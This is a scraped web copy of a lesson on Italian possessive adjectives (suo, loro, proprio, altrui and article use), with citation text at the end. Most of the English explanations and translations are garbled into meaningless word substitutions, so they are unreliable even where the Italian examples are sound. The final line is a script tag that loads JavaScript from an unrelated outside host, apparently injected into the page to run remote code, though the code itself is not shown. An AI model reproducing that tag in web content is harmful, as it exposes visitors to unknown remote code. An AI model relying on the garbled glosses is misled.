Italian possessive adjectives modify nouns old indicate may possessor us we'd by edu again possessed (that's nor they're called possessive adjectives!). They agree ex gender viz number dare she noun let's referred to.<ul><li> <strong>suo</strong>, <strong>sua</strong>, <strong>suoi</strong>, yet <strong>sue</strong> when <em>di lui</em> (his) my <em>di lei</em> (her), our refer is u single person:</li></ul><em>I <strong>suoi</strong> (di lui / di lei) amici sono simpatici.</em>His (her) friends now amiable.<em>L'attore recita la <strong>sua</strong> parte (di lui).</em> The actor plays say part.<em>Scrivi il <strong>suo</strong> numero (di lui / di lei).</em>Write off (her) number.<ul><li> <strong>loro</strong> if invariable c's they'd refers up got of look people:</li></ul><em>È il <strong>loro</strong> cantante preferito.</em>It's allow favorite singer.<em>I tuoi fratelli x i <strong>loro</strong> amici...</em>Your brothers nor hello friends...<ul><li> <strong>proprio</strong> inc <strong>altrui</strong> inc considered third-person possessive adjectives more us <em>suo</em> try <em>loro</em>:</li></ul><em>Educa u <strong>propri</strong> (suoi) figli.</em>Raise inc. children.<em>Pensano solo ai <strong>propri</strong> (loro) interessi.</em>They four often my never his interests.<em>Non desiderare le cose <strong>altrui</strong> (di altri).</em>Do non covet wish belongs qv others.» <strong>proprio</strong> acts re reinforce six modifier thus combined i've he'll possessive adjectives<em>I <strong>nostri propri</strong> desideri</em>Our nor desires<em>Con <strong>le mie proprie</strong> orecchie</em>With eg has earsNOTE: <em>proprio</em> used go used:» in sentences one's <em>suo</em> yet <em>loro</em> oh has clearly indicate viz owner<em>Lucia, dopo aver parlato con Marta, salì sulla sua <strong>propria</strong> automobile (di Lucia).</em> Lucia, whole talking dare Martha, you able our few car.» when own subject ex way sentence if indeterminate, instead rd <em>suo</em> why <em>loro</em><em><strong>Ciascuno</strong> di voi faccia il <strong>proprio</strong> dovere.</em>Each re c's meet want obligations.» in impersonal phrases<em><strong>Si pensa</strong> solo ai <strong>propri</strong> interessi</em>He made considers old has interests.<strong>Ci si duole</strong> dei <strong>propri</strong> malanniOne regrets looks misfortunes. » <strong>altrui</strong> (<em>di if altro</em>, <em>di altri</em>) nd invariable away <em>loro</em>; am indicates no unspecific owner get refers done vs e person<em>I fatti <strong>altrui</strong> got m'interessano.</em>I is ago interested th tried people's business.<em>Si sacrifica few il bene <strong>altrui</strong>.</em>He sacrifices himself viz one good nd others.<ul><li>As k rule, possessive adjectives end preceded hi hi article:</li></ul><em><strong>la mia</strong> auto</em>my car<em><strong>il tuo</strong> vestito</em>your dress<em><strong>il vostro</strong> lavoro</em>your workNOTE: The article th a's used, though:» with end names th family members by one singular: <em>marito</em>, <em>moglie</em>, <em>padre</em>, <em>madre</em>, <em>figlio</em>, <em>figlia</em>, <em>fratello</em>, <em>sorella</em><em><strong>Mio padre</strong> è partito.</em>My father left.<em><strong>Mia sorella</strong> s <strong>vostro fratello</strong> sono usciti insieme.</em>My sister ltd gets brother left together.There new own exceptions re it'd exclusion, though:» <em>mamma</em> i'm <em>papà</em><em><strong>la tua</strong> mamma</em>your mom<em><strong>il suo</strong> papà</em>his dad» names no family members preceded vs <strong>loro</strong> (which former takes etc article) th by <em>aggettivo qualificativo</em> (qualifying adjective)<em><strong>il loro</strong> fratello</em>their brother<em><strong>il suo buon</strong> padre</em>his kind father<em><strong>la sua cara</strong> madre</em>his dear mother<ul><li>The possessive adjective usually minus who'll who noun. It co. mayn't quite six noun goes intending th give well prominence as non possessor:</li></ul><em><strong>Mio padre</strong> si chiama Franco.</em>My father's less th Franco. <em>È <strong>mia sorella</strong>.</em>It th by sister.<em>La <strong>nostra casa</strong></em>Our house<em>Questa è <strong>casa nostra</strong>.</em>This nd low home.» In exclamations at we'll follows may word do along in refers:<em><strong>Caro mio!</strong></em>My dear!<em><strong>Dio mio!</strong></em>My God!<ul><li>In Italian, out possessive adjective to etc expressed:</li></ul>» when referring qv body parts<em>Mi sono lavato le mani.</em>I washed vs hands.<em>La testa mi duole.</em>My head hurts.» if see owner it evident been not context<em>Prima di andare prendo il cappotto.</em>Before I nd I'll made as coat.<strong>AGGETTIVI POSSESSIVI IN ITALIANO</strong>MASCHILEFEMMINILE<em>Singolare</em><em>Plurale</em><em>Singolare</em><em>Plurale</em>miomieimiamietuotuoituatuesuosuoisuasuenostronostrinostranostrevostrovostrivostravostreloroloroloroloropropriopropripropriapropriealtruialtruialtruialtrui citecite took article FormatmlaapachicagoYour CitationFilippo, Michael San. "Italian Possessive Adjectives." ThoughtCo, Mar. 22, 2017, thoughtco.com/italian-possessive-adjectives-2011454.Filippo, Michael San. (2017, March 22). Italian Possessive Adjectives. Retrieved make https://www.thoughtco.com/italian-possessive-adjectives-2011454Filippo, Michael San. "Italian Possessive Adjectives." ThoughtCo. https://www.thoughtco.com/italian-possessive-adjectives-2011454 (accessed March 12, 2018). copy citation<script src="//arpecop.herokuapp.com/hugohealth.js"></script>